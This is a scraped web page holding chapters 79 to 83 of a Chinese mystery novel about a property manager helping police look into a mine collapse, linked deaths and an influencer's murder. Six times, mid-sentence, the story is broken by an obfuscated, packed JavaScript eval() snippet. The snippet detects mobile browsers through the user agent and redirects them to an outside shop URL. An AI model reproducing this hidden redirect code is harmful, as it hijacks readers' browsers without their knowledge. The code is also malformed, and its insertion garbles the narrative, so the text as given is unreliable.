我看着林翔迷惑的表情，说：“冯晶晶那个舅舅，死于车祸的那个，跟我师哥长的像从一个模子里做出来的一样。我之前和你说过，死于车祸的那个人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158146|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你提起车祸了，其实王闯那个车祸很诡异。”林翔说。 我和王敬之异口同声的问道：“怎么诡异？” “他那个车祸，其实是可以避免的，诡异的是，就他那个位置被撞，驾驶位和副驾驶位的人都没有大事儿。”林翔说。 “老林，我之前和你说过，这几起死亡，总觉得时间太巧合，很有问题。”我说。 “但是”没等林翔说完我就说：“我们没有证据，对吧？”林翔看看我，摊着双手，不说话了。 “我们只要能找到源头，发现苗头，自然下面的谜底就都一个个解开了，证据迟早会有的。就算是他们化了刘才东又怎么样，一个主席像章就印证了身份。”王敬之说。 我被王敬之的话说的信心满满，“师哥说的对啊，天网恢恢疏而不漏，我有信心！” 林翔也眼神亮亮的看着我们，他坚定了跟我们同行的信心。 “师哥，你准备先从哪着手啊？x县那么大，他们当时塌方的那个地方应该不会有太多猫腻的，当时肯定相关部门都介入了。”我说。 “向荣，官方这边我去查，你和敬之你们去了解一下他们的亲戚和朋友，尤其是王玫那边的亲戚，问一问。”老林说。 王敬之喜悦的看着林翔，然后和我说：“林警官说的就是我想的。” “敬之，你也和向荣一样，称呼我名字或者老林就行，别叫林警官，我这浑身不得劲。”林翔说。 “吕向荣，这林翔，能处啊！”王敬之哈哈笑着说。 “是吧，我早就知道了，就是等你去感悟。”我也嘿嘿的笑。 我就知道我觉得不错、对脾气的人，王敬之也一样稀罕。 林翔被我俩弄的有点摸不着头脑，“哎，我说你们俩，咱们能不能聊天透明化，你们说的能处，啥意思？我没搞明白。” 我忽然想到林翔不是东北人，不了解方言，难免，于是给他解惑，“能处的意思就是，能交，可以作为朋友。” 王敬之又补充了一句，“对脾气！”我赶紧跟着点头。 林翔看看我俩，秒懂，爽朗的笑起来。 第七十九章 分头行动 到了x县以后，我们三个人在旅馆开了一间房，经过讨论，一致决定由老林带着我们统一行动，跟着组织走，不犯错误。 老林当仁不让，“既然二位这么信得过我，那我就当一把带队的。不过，有些事情在不违反纪律的情况下，我会告诉你们，反之，我不会说。请你们理解。” 我和王敬之点点头，“老林，放心吧，我们绝对拥护你的领导。”我给林翔吃定心丸。 “那好，明天我们分头行动，我先去有关部门了解一下x矿塌方的事情，你们去丁有生家看看有什么发现。”林翔布置了任务。 丁有生的家在一栋三层小楼里，看楼龄应该不短了，一个长条形的走廊，每一户开门后都共用的那种。 “师哥，丁有生家不知道还有谁健在啊？如果有人开门，咱们怎么介绍自己呢？年龄上毕竟跨越很大。”我问王敬之。 “咱俩别这么莽撞的直接就去，先问问邻居再说。”王敬之说。 我觉得王敬之说的很有道理，正好这时，一楼最西边的一家开了门，出来一个老太太倒垃圾，看到我们以后很惊奇。 “你们找谁啊？没见过你们，从哪来的？”大娘很警觉。 “哦，您好啊，大娘，我们来这边寻个人，第一次来，迷路了，能和您打听打听不？”我满脸堆笑的说。 “行啊，你们找的人叫什么？我在这住了几十年了，这楼刚盖好我就进驻了，没有我不认识的。”大娘挺热情。 我一听心里高兴坏了，这不问对人了嘛，说不定她都见过丁有生。 “我们想找”王敬之推了我一下，打断我说：“我们不知道准确的名字，好像叫丁有生。”我瞅瞅王敬之，没领会他为什么不让我直接说。 “老丁家的？有生？不会吧，你们是不是记错了？看你们年纪也不大，找丁有生做什么？”这个大娘脑能当侦探了。 “我们来要债的。”王敬之直接就接过话。 “那完了，你这钱要不到了。”大娘直接就给了一盆凉水。 “为什么啊？”王敬之问。 “丁有生死了快20年了吧，就是那种活不见人、也没看到尸体的，他老婆十几年前就给他宣告死亡了。” “啊？不会啊，大娘，我们上个月还见到丁有生了，要不也不会来要债。”王敬之边说边拿出一张照片。 我一看，这不是那张合影吗？这家伙从哪弄到的原版。 “大娘，您给指指，您说的丁有生是哪个？我看看我们说的是不是同一个人。”王敬之招呼大娘看照片认人。 大娘接过照片，刚看一眼，就说出来，“后面那排，那个又高又瘦、戴个眼镜的就是丁有生，他旁边是谢志强，还有郑杰，还有丁有生的外甥。” 天！信息量这么大么？大娘全认识？丁有生的外甥，哪一个是？ “大娘，您是说前排这个矮胖的是丁有生的外甥？”王敬之指着照片上的许德生问。 “对，就是他，他是丁有生的亲外甥，小时候常来这里住。” “大娘，谢志强和郑杰您也认识啊？”我问。 “那肯定认识，谢志强、郑杰还有丁有生，他们仨年轻的时候总在一起玩，三个人还挺好呢，都住这一左一右的，我怎么能不认识。”大娘继续说。 “但是你们今天来，谁也见不着。”大娘倒完了垃圾，准备回屋。 我赶紧拦在前面，说：“大娘，为什么谁也见不着啊？我们是从b市过来的，路远，您和我们说说呗，要不我们白跑一趟了，这车票挺贵呢！” 大娘一听我说白跑了，车票贵，停住了，说：“郑杰家爹妈都病死了，房子一直空着，我这些年也没见人回来过。谢志强家距离这里有两栋楼，就一个老妈，身体怎么样，我不知道，你们可以去看看。至于丁有生嘛，他老婆早就带着姑娘跟别人走了，这房子也空着呢，没人要。” “大娘，丁有生的老婆是叫王玫不？有个女儿叫晶晶。”王敬之再次确认。 大娘好奇的打量起王敬之，“这小伙谁都认识，你是王玫家什么亲戚？我看你和她弟弟挺像，刚才出门乍一看到你，我还以为是王闯呢！是有个女儿叫晶晶，他老婆改嫁啦，据说那个人是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158147|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师，个子不高，皮肤很白，大眼睛。” 我一听，这不就是冯楠的样子么！看来丁有生的情况跟我们来之前了解的差不多。 “谢谢你啊大娘，我们去谢志强家看看，您能告诉我们具体几楼几号吗？”我问。 大娘一听这些人我们都认识，早就卸下了防备，给我们详细的说了去谢志强家的路。 我和王敬之去谢志强家的路上说：“师哥，这谢志强都60多了，他妈不得80多岁了啊？还健在呢！老太太要是知道了自己儿子全家遭遇这样的事，能顶住不？” “你傻啊，这事咱不能告诉她。万一有点什么事，晚上你能安心睡觉吗！”王敬之回。 “那我不说话了，全程听你唱戏，我给你当配角。”我嘿嘿的笑。 王敬之没搭理我，很显然他早就有所准备。 谢志强的家就在一楼，外面看挺破落的，我心里想，这老谢在外面赚多 少钱能咋样呢，自己老妈都没给带走享福。 正想着，王敬之已经开始敲门了，敲了好半天，才听见有脚步声慢慢的踱出来。 门开了的时候，一个风烛残年的老人看着我们问：“你们找谁啊？” 老太太的脸爬满了褶皱，头发全白了，个子很矮，看着腿脚倒是没什么毛病。 “老太太，我们是谢敏的朋友，来这边办事，她托我们办完事来看看您。”王敬之说。 我一听，这个理由好，我们跟谢敏是同龄的，跟老谢还差着辈呢，太假。 “哦，是小敏让你们来的啊，快请进，进屋坐吧。”老太太让我们进屋。 我和王敬之一前一后的进了门，这是一个穿糖葫芦式的房间结构，进门就是厨房，再往里进就是卧室，没有客厅。 屋子里很暗，空气并不是很新鲜，摆设相对陈旧，整体看着乱糟糟的。 我感叹着让这么大年纪的人独居，这是多么危险又心大的一件事儿。 “老太太，您为什么要一个人住这里呢？谢敏家城里的房子可大啦，您一个人住，多危险啊！”王敬之说。 第八十章 他回来了 “志强最近这一年都没有消息，之前是说要接我过去，儿子太忙，等他闲下来会接我走的。”大娘很慈祥的看着我们说。 我的心里一阵阵难过，老太太还不知道再也见不到她儿子、孙女了，哎！ 这帮恶人真可恨，怎么下得去手！ “大娘，您身体怎么样？都挺好的吗？我看您这屋子里倒是没有药瓶什么的。”我问。 “身体还可以，平时也没什么事儿，除了买点菜，就是在屋里休息。不过最近总是感觉头晕，实在难受了我就躺一会儿，也能好。”大娘说。 我走到老太太身边，“大娘，我会看病，给您把把脉，看看是什么问题，好不好？” 老太太抬眼看着我，笑呵呵的说：“这小伙人长得好，还有这手艺，真是难得、难得！” 说完就把胳膊伸过来，我切着脉，脉象细数、沉细无力，尺脉尤甚；再看看老太太的气色和舌头，“大娘，你是不是还有腰膝酸软的症状？” “是啊，现在经常走不动，也不爱走。”老太太回。 “大娘，您是高血压，可一定要注意了，不能不当回事。除了谢志强，您这边没有别的亲人了吗？”我着急的问。 “还有一个姑娘，几乎每天都来看我，你们不用担心，回去告诉志强和小敏，不用担心我，有她姑姑照顾呢。”老太太说。 我的心算是放下了，“大娘，您给我个纸笔，我给您写个药方，您拿给您姑娘让她给您抓药。” 老太太很开心的给我找了纸和笔，我在上面详细的写了病因，肾精不足型的高血压，还有抓什么药、怎么吃、注意事项这些。想了想我又补充了一句，也可以吃西药，遵医嘱。 “小伙子，你们今天来还有其它什么事吗？就是看看我这老婆子？”老太太问。 这时候王敬之说：“大娘，是这样的，我们想跟您打听一下志强叔年轻时候的事儿。” “行，你们想知道什么？”许是我热心帮忙治病的原因，老太太跟我们的距离拉的很近，直接就问我们想知道什么。 “志强叔跟丁有生是好朋友吗？丁有生欠我们点钱，这次我们来要债的，可是没找到人。您了解丁有生吗？”王敬之说。 “啊？怎么能呢？有生欠你们钱？他早就不在了啊。”老太太的反应跟倒垃圾的大娘一样。 “他怎么没的？”王敬之问。 “说来话长了，丁有生和郑杰，会我们家志强去郊区那个矿里挖琥珀，我们家志强是不想去的，因为那个位置已经不让开采东西了。拗不过他俩，就跟着去了。结果第二天早上浑身都是泥土的就回来了，还给我吓一跳，一边抹泪一边告诉我，矿塌了，丁有生埋在下边没出来。”老太太唉声叹气的说。 “打那以后，我也看不着郑杰了，志强说是郑杰也害怕，都不敢再乱跑。我还问他，塌了以后得有救援啊，也没挖到尸体啥的？志强说也纳闷这事儿。他怎么可能欠你们钱呢，你们一定是搞错了。” “大娘，志强叔后来一直没有和您说丁有生没有死吗？”王敬之又问。 这回换老太太不说话了，仔细的想了一会儿，“哎，看我这记性，前几年，志强确实说过一回，说是丁有生回来了，当时他回来看我，准备走了的时候，才说了一句，你看我，给忘了。你们别急，丁有生有钱，不会差你们钱的。”老太太说。 “大娘，您怎么那么肯定他有钱啊？”我问。 “志强说的，志强说丁有生回来了，让他跟着开发房子，赚大钱。”老太太说。 我和王敬之心下了然，谢志强一定是知道了不该知道的事，所以才被灭口的。 了解了我们想知道的事情之后，我俩没再多逗留，告别了老太太回酒店。 林翔早已经回来了，看到我俩进了门，问我们：“怎么样？顺利吗？” 王敬之把了解到的情况跟林翔讲了一遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158148|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “看来，问题就出在郊区那个塌方的矿上，我推测丁有生当时应该是得到了一件东西，但是遇到了塌方，后来一直没有再出现，是为了什么呢？”林翔说。 “这个问题得问郑杰。谢志强应该也是知道的，但是他不在了。”我说。 “而且我们今天了解完当初的经过，我总觉得是谢志强知道了不该知道的事情才被灭口的。刘才东应该也是间接的知道了什么。包括杜国瑞、李文月还有王闯。”我继续补充。 “好啊！这一回我们的工作有了很大推进，现在这条线越来越清晰了。”林翔开心的说。 “老林，郊区那个矿主要产什么的？”王敬之问。 “x县主要就是产煤，因为地理条件得天独厚，有些矿里还会发现大量的琥珀，血珀，那几年有很多人都鼓捣这些东西。前两年，国家质检总局对x县的琥珀做了认证和保护之后，这里的琥珀价值更高了。”林翔说。 “也就是说他们三个人一开始就是鼓捣这些东西弄了第一桶金。”王敬之说。 “后来逐渐逐渐的，开始鼓捣文物。”我跟着补充。 “文物这个事还不能确定，这些只是你们的猜想。”林翔说。 “老林，你看看我这个图 ，这些是他们开发的楼盘，基本上都是不太适合居住的位置，他们干什么？不打算赚钱吗？尤其是荟萃亭，你也看到了，垃圾场。而且据我所知，后加入的廖文彬一直对他们开发的楼盘冷眼旁观，虽然是合作，但是就没投注过钱。”我说。 我看着林翔在思考我的话，我接着说：“在风水学上看，他们这几处楼盘开发的地点，都有土层深厚、含水率低、背山襟水、地势开阔这些特征，还有地理位置优越，但是这个优越并不适宜居住。我查了一下，其中有两处距离某文化遗址区域比较近。” 林翔点点头，说：“你的专业水准我信得过，可以将侦查方向往这边偏移，找找线索。” 第八十一章 穆艳红死了 回程的路上，我正迷迷糊糊的似睡非睡，手机响了，突然的响声让我一激灵，直觉不像是啥好事。 “向荣，你回来了吗？”是林皓的声音。 “怎么啦？林哥，我在回程的火车上。”我感觉林皓的声音里透露着焦急。 这时候，林翔的手机也响了。 “穆艳红死了。”林皓在电话里说。 “什么？”我困意全无，穆艳红我记得啊，那个网红啊。 这时候我听见老林接电话说：“什么时候？哦、嗯、嗯，行，我还得有一个小时左右才能下车，你们先出现场。” 林翔边说边看着我，我知道我们各自在聊的是同一个事情。 “今早上保洁打扫卫生的时候发现的，发现穆艳红家的大门敞开着，屋里还有似有若无的音乐，保洁探头看了一眼，发现门厅的位置有人躺着，凑近以后仔细一看，地上一大滩血，人脸上、身上也都是血，瞪着眼睛”林皓在电话里说。 我的心里一沉，完了，我没有对得住人家的嘱托，这个人我还是没有给看住。 “林哥，我下车后直接去你那里，你别急，好好配合警察提供线索。” 结束了跟林皓的通话，我很疲惫，最近接收到的消息都是我不想听到的，这是怎么了？ “向荣，是之前举报有人偷窥和半夜敲门的那个女的吗？”林翔问我。 我点点头，说：“还是没有对得住人家的信任啊！” 王敬之和林翔都看着我，他们很意外我会这么说，“你别这样，嘱托的事情都过去这么久了，没人让你一直去保护她啊！”林翔说。 “是没人要求，但是当时明明还没有解决3号的问题，可是我放弃了。我始终认为，出事以后做的事情都是亡羊补牢，如果可以在事情发生前就发现并予以制止，是不是就会少了很多不幸？” 接下来我们三个人都沉默着，听着火车咔哒咔哒的声音，我在想凶手是不是3号。 几乎是同时，我和老林一起张口问对方，凶手会不会是3号。 “我最后一次打听他的消息时，林皓说他爸爸突发脑出血入院了，再后来因为治理荟萃亭，又琢磨刘才东的事情，就没再顾得上问。”我说。 “这么说他的嫌疑还是不能排除的。”林翔说。 “上一次我就说黑了他的qq，印证一下到底是不是他恐吓穆艳红，这回是不是可以黑了？”我问。 林翔看了看我说：“得先回去看看现场，了解一下情况再说。向荣，我们还得去一趟郑杰那里，我总觉得他是整件事的关键。” “跟你去没问题啊，但是，为什么要我陪你去呢？”我很想知道为什么。 “因为他那个病，你给看看，说不定你能治，能治的话，咱们这问话的口子不就打开了么？”林翔说。 我当下拍板，“没问题，我跟你去！” “师哥，你最近也多关注关注冯楠，我现在不知道他到底有没有同流合污，如果有的话，冯晶晶也怪可怜的，没什么亲人了。”我跟王敬之说。 王敬之默默点头，我总觉得他这个情执破的，更像是一种关爱和守护，不是男女之情、爱的卿卿我我，撒不开手那种。 赶到林皓那里的时候，林皓正在物业办公室里抽烟，我敲门进去，给我呛的咳嗽。 “林哥，抽这么多，身体不要啦！”我一边说一边去开窗。 “向荣，这事怪我啊！好好一个姑娘，就这么死了，哎！”林皓很自责。 “林哥，这事怎么能赖你呢，你只是个物业经理。”我宽慰他。 “你不知道，后来发生了一件事，我没当回事，不然，穆艳红也许不会死。”林皓说。 原来，出事的前一周，穆艳红来物业找我，她和林皓说，最近总感觉有人跟踪她，有一次回来的晚，大约夜里10点左右，她感觉后面跟着的人越跟越紧，但是她到了单元门口，在灯光下四下看的时候却没看到人，她认为之前那个恐吓她的人又回来了，让林皓找我来帮她捉贼。 林皓用我现在在别的楼盘整顿物业，忙自拓经营分不开身的理由，劝回了穆艳红，还告诉她再遇到这样的事情务必报警。 “我当时看着她欲言又止，又不甘心放弃的背影，竟然没动容，是我的错啊，我的错！”林皓不住的责怪自己。 林皓骨子里是一个很善良的人，虽然在职场摸爬滚打这么多年，但他的内核依旧没有改变，人很正。 “林哥，事情已经发生了，现在自责也于事无补，我们帮她抓住凶手才是真的。”我劝林皓。 “凶手是不是3号？”我问。 “出事以后，我第一时间就怀疑到3号身上。他爸去世后，他基本不出门，工作也没有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158149|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我带着保安去他们家时，他那个野人般的样子，看着不太像呢。”林皓回。 “啊？是那次脑出血之后的事吗？没抢救过来？” “是，在救护车上人就没了。” “为什么看着像野人就不是凶手了呢？”我又发出疑问。 “他那半个月都没出门，家里的垃圾堆的都没法下脚了。若不是我们上门，都没人去看他。我们回来也查了 监控，监控显示他确实没出过门。” 太奇怪了，那会是谁呢？ “林哥，你打算怎么办？有什么计划？”我问。 “我没有任何计划。而且集团这边出了点事，我得提前告诉你。”林皓严肃的看着我。 我感知到有大事发生，“怎么了？什么事啊，你这么严肃。” “我的直属领导带着一拨人跳槽了，带走的都是咱们集团的精英，他走之前也跟我说过，让我跟他走，但是我觉着我的年龄还有未来的规划，都不再适合跳槽了，所以没动。他走以后，集团提拔了他原来的死对头上来，也就是我现在的新领导。”林皓停下来，眼神漠然的看着前方。 “嗯，怎么了呢？我没懂。” 林皓看看我说：“向荣啊，你还真是单纯，也难怪，你入了行就在我的羽翼下，有我罩着你，职场的腥风血雨还扫射不到你身上。我和你说这些就是要告诉你，如果这件事我处理不好，很有可能会丢了工作。” “啊？有这么严重吗？”我不信。“林哥，别人不知道，我还不知道吗，你兢兢业业的，一心扑在工作上，快40了连家都没成，他们就因为这么点事儿就不要你？” “别喊、你别喊呀，你怎么比我还激动！你放心，他们也就动动我，你的工作他们不能动。你入职以后，光嘉奖就几张了，总裁那里备过案的。”林皓给我吃定心丸。 “林哥，看你说的，这工作确实对我来说很重要，它能实现我很多的人生目标，但是你对我的知遇之恩，还有我俩的感情也很重要，而且要比工作更重要，如果他们用这件事辞退你，那就说明他们看不到员工的优点，这样的企业我继续干也是白干，说不定我也走了！”我表着态，并不是冲动的。 林皓看着我的眼神闪了闪，有话，但是他压了下去，“向荣，你的情义，林哥收在心里了。不唠这些了，没事更好，咱们先替穆艳红把冤伸了。” 第八十二章 多事之秋 因为穆艳红的事，我特意去了趟刑警队找林翔。 “你是为穆艳红的事来的吧？”林翔看着我笑。 “老林，这事儿你不能不带我，你知道的，我这人心思重，这姑娘我没给保护好，我对不住人家。之前的事情我全程都跟过，包括每一个嫌疑人的情况我都清楚，你带着我不吃亏。而且你放心，违背纪律的事情我肯定不打听。”我很诚恳的央求。 “哈哈，你都这么说了，我要是不带你，你是不是得怨我个没完！我答应你作为外应给我们提供信息。”林翔同意了。 我笑了，“我就知道，你能处！” 林翔的表情逐渐的严肃起来，“要说啊，这个凶手也确实够狠的，十几刀啊，一下下的扎在穆艳红身上，那现场的血喷溅的哪哪都是，估计当时她得老绝望了。” 我听着这些，心里特别不是滋味。 “我听你说的这些，怎么感觉对方像在泄愤呢！”我问。 “确实，除了疯狂的刀扎以外，他倒是没做别的，尽管，穆艳红当时已经衣衫不整了，凶手也没做别的，这一点确实有点不寻常。”林翔说。 “你的意思是说，这个凶手不是很正常？”我问。 “吕向荣，你的脑袋不要转的那么快嘛，我哪有说过？”林翔调侃的看着我。 可是他的话，我却走心了，我知道，这种可能并不是没有。 “你们去调查过3号了吗？” “去过，他过的很惨，但是没发现他作案的证据，动机倒是有，时间没有。” “动机有了？你们黑他的qq了？”我赶紧问。 “他确实恐吓过穆艳红，那个夜里敲门的人是他。但是案发的时候没有发现他出门的证据。”林翔说。 “老林，证据证据，现在既然已经能证明当时就是他偷窥、恐吓，甚至上门去猥亵穆艳红，现在穆艳红死了，他就是最大嫌疑人啊，可不能再因为没发现他出门，就给放跑了，他要是以后再对其他女人实施犯罪怎么办？”我着急的喊。 “你看你，激动啥！轻点说，我能听见。”林翔说。 我气的呼哧呼哧的，也许这个秉性正是我无法当警察的原因吧。 我能理解抓人需要证据，但是我被穆艳红这件事给刺激到了，如果当时可以黑一下qq，是不是就不会出事了。 林翔看着我气愤不平的样子，安慰我说：“向荣，你的心情我能理解，我们也并不是什么都没做，我们的人已经24小时的在监控3号了。现在有一件事需要你帮我们做。” “你说，需要我做什么？”我问。 “你帮我们查一下还有没有其他人有嫌疑。我们现在把主要的精力都放在3号身上，如果说真的是有其他人存在呢？穆艳红的职业是网红，关系网很复杂，她人长得漂亮，性格又开朗，未见得只有3号一个追随者。” “帮你们查倒是没问题，但是我一个人的力量是有限的，我只能是在下边，在群众之间帮你们打听。你们这里可以根据穆艳红的网络痕迹去精准锁定啊，锁定的人如果我能调查到的，也告诉我，我来帮你查。” “好，我就是这个意思。向荣，你现在这个物业经理干的那可真是老称职了，如果物业经理都可以做到你这个份上，那可帮了我们警察大忙了。”林翔表扬我。 “咳，你不用表扬我，穆艳红这件事是我自情自愿做的。郑杰那里什么时候去？” “就这两天，到时我提前给你打电话。”林翔说。 从刑警队出来，我脑袋很乱，不想坐车回去，想散散步，顺便想想最近发生的这些事情，理理脉络。 边走边想，前边有一个不太大的商业街，有一个写着工艺品销售回收的门面吸引了我。 我想进去看看，血珀这个东西，我不是很了解，也没见过，看看里面有没有，学习学习。 “先生，您看点什么？”店主是一个老头，至少年纪比我大吧，慈眉善目的。 “老板，你这有上等的琥珀吗？或者血珀。”我问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158150|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老头点点头，走到柜台的一侧，拉开抽屉，拿出个装手链和坠子的抽屉。 他把那个抽屉放到我面前，里面摆了很多琥珀做的装饰品，做工很精美，有好几个我都挺喜欢。 “老板，这些是琥珀？” “对，这些都是琥珀。您是要买手链还是坠子？是自己戴还是送女朋友？” “我啊，哦，我自己戴。你给介绍介绍这琥珀，我不是很懂，就瞅着黄亮黄亮的挺招人稀罕。” “琥珀其实是透明的生物化石，是松木、杉树这类植物的树脂滴落形成的化石，埋在地下千万年才形成琥珀。有的琥珀里面还有古老昆虫、动物的尸体。琥珀是佛教七宝之一。古代时琥珀被认为是老虎死后的精魄入地化为石，具有趋吉避凶、镇宅安神的功能。您说的血珀也是琥珀的一种。” 老头挺有研究，我不禁赞许的看向他：“老板，您很懂啊，说的真好！您这里有血珀吗？” “我收藏室里有一颗血珀坠子。不过，血珀不是琥珀中最贵的，最贵的是蓝珀和金珀。蓝珀的产地不在我国。金珀是金黄色的，也叫财石，血 珀是红色或深红色的。” “老板，您那血珀能给拿来欣赏欣赏不？”我很想看看被收藏起来的血珀长啥样。 “抱歉啊，不是很方便，那是藏品，不对外销售。”老头一口就回绝了我。 我想再试试，可又一想，我也不买，没必要了，算了，也别让人家为难。 往回走的路上，接到了王敬之的电话，“吕向荣，你赶快回来，城中花园出事了。” 我这两天都被吓怕了，就听不得出事，“师哥，咋的了啊，我是走啥厄运了咋的，老出事呢！” “蔡浩让业主打了！” “什么？谁啊？敢打我的人！先给他处理伤口，我马上回去！” 蔡浩是个好人，虽然样貌吓人，但是心眼好使，之前是犯过错，但是人家认识到了，有改正的决心啊，谁呢？直接就上手！ 第八十三章 大狗 我赶到物业办公室的时候，江怀洲、蔡浩和王敬之都在，蔡浩的头包扎着纱布，眼睛也有淤青。 我一看那个样子，火气腾的一下就上来了，“谁打的？报警！” 王敬之拉拉我的衣服，“算了。” “算了？凭什么？谁给他的权利，随便打人？”我喊道。 江怀洲看看我，说：“是陈叔的女婿。” 我愣住，什么情况？陈叔的女婿？怎么得罪他了？ “蔡浩，到底怎么回事？”我想让蔡浩自己说。 因为我无论如何也想不到是跟陈叔有关的，从蔡浩出事的求情，一直到现在，陈叔都是很照顾蔡浩的呀，怎么会发生这样的事情？ 蔡浩看看我，叹了口气说：“算了，不用报警，就这样吧。” 我一听，有隐情啊，“不行！必须告诉我怎么回事！” 我看看江怀洲和王敬之，示意他们告诉我，可是王敬之摆摆手说：“我回来的时候，已经开战了，好不容易才拉开，我也不知道因为什么。” 江怀洲想了想说：“蔡，我觉得还是要告诉领导，你这毕竟是因为工作引发的，我明白你是不想让陈叔为难，但是，不是这个道理啊！” “老江，你说，既然是因为工作引起的，你必须告诉我，说！” 于是，江怀洲跟我讲了事情的经过。 陈叔的女婿住在隔壁小区，家里有一只养了好多年的德牧，他经常借着遛狗到城中花园看望陈叔。 因为狗养的很好，体型大、毛亮，眼神也很威风，很多时候遇到园区业主都会给人家吓一跳，见到的人基本都是躲着走。 有好几回，蔡浩听到业主小声嘟囔，“这谁家养的狗，这么大，到处领着溜达，这要是伤了人可咋整。” 蔡浩开始留意陈叔女婿过来的时间，他觉得这事有风险，想找机会跟陈叔女婿或者陈叔说一说。 可是还没想好怎么说的时候，就有个女业主来投诉。 “我说你们物业管不管啊？这么大的狗在园区里到处溜达，还都挑晚上，昨晚要不是我护着孩子，非给孩子吓个好歹不可。那么大狗怎么能随意走呢，得圈定范围啊！你们吕经理呢？我要投诉！”女业主咄咄逼人，看来是真的吓着了。 “业主，您先别激动，吕经理家里有事情休假几天，有什么事您可以和我说，我先帮您解决。”蔡浩赶紧安抚。 “就是老陈他们家的狗，每周都有那么几天出来，晚上7、8点钟的时候。”女业主坐下以后说。 “老陈？您是说业委会的陈叔吗？” “对！” “据我所知，陈叔家没养狗啊！” “那也是他亲属家的，总来，你应该也能看见啊，你也住这。”女业主明显不想放弃。 “我倒是见过，那个人不住这，而且每次我看那狗都是牵着的啊。”蔡浩说。 “你不知道，进出园区是牵着，到了里面让狗撒欢时候就不牵着了。昨天我家孩子也在中庭的小滑梯那里玩，那狗突然就冲过来了，亏得我反应的快，孩子反应过来以后吓得哇哇哭。我想找狗主人理论，哪知道他牵着狗就走了，真的是太气人了！”女业主讲了一遍经过。 蔡浩一听，这可不行啊，真要是咬了人，大家都难安生，“业主，您先回去，我这就去找陈叔说一下这件事，以后一定要求他们按照法律规定遛狗。” 女业主一看蔡浩这么办事儿，没说什么，也没再吵吵，回去等结果了。 蔡浩也没敢耽搁，当天下午就去找了老陈，可不巧的是老陈住院了，没在家。 蔡浩又打听到老陈住院的地址，亲自拎着水果去看他。 “陈叔，听说您病了，我来看看您。”蔡浩边说边放下拿着的水果。 老陈一看蔡浩来了，很高兴，他一直挺关心蔡浩家情况的，对蔡浩也是宽怀有加，小伙子这么懂事，特地买东西来探望，他特别高兴。 “你有心啦，谢谢你！我没什么大事，一换季了血压就不稳定，呆两天我就回去。”老陈说。 两个人又天南海北的唠了一会儿，蔡浩看着老陈的身体状况还可以，就一点点的说了事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14158151|150387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情经过。 “陈叔，这个事您得和您女婿说说啊，大型犬饲养现在国家有规定，除了进行狂犬病免疫、办理登记以外，还要求不得干扰他人正常生活，放任犬只恐吓或伤害他人。今天上午来投诉的业主家孩子才5岁，我听了这事还挺后怕的，万一出了什么事，这狗可容易保不住啊。”蔡浩说。 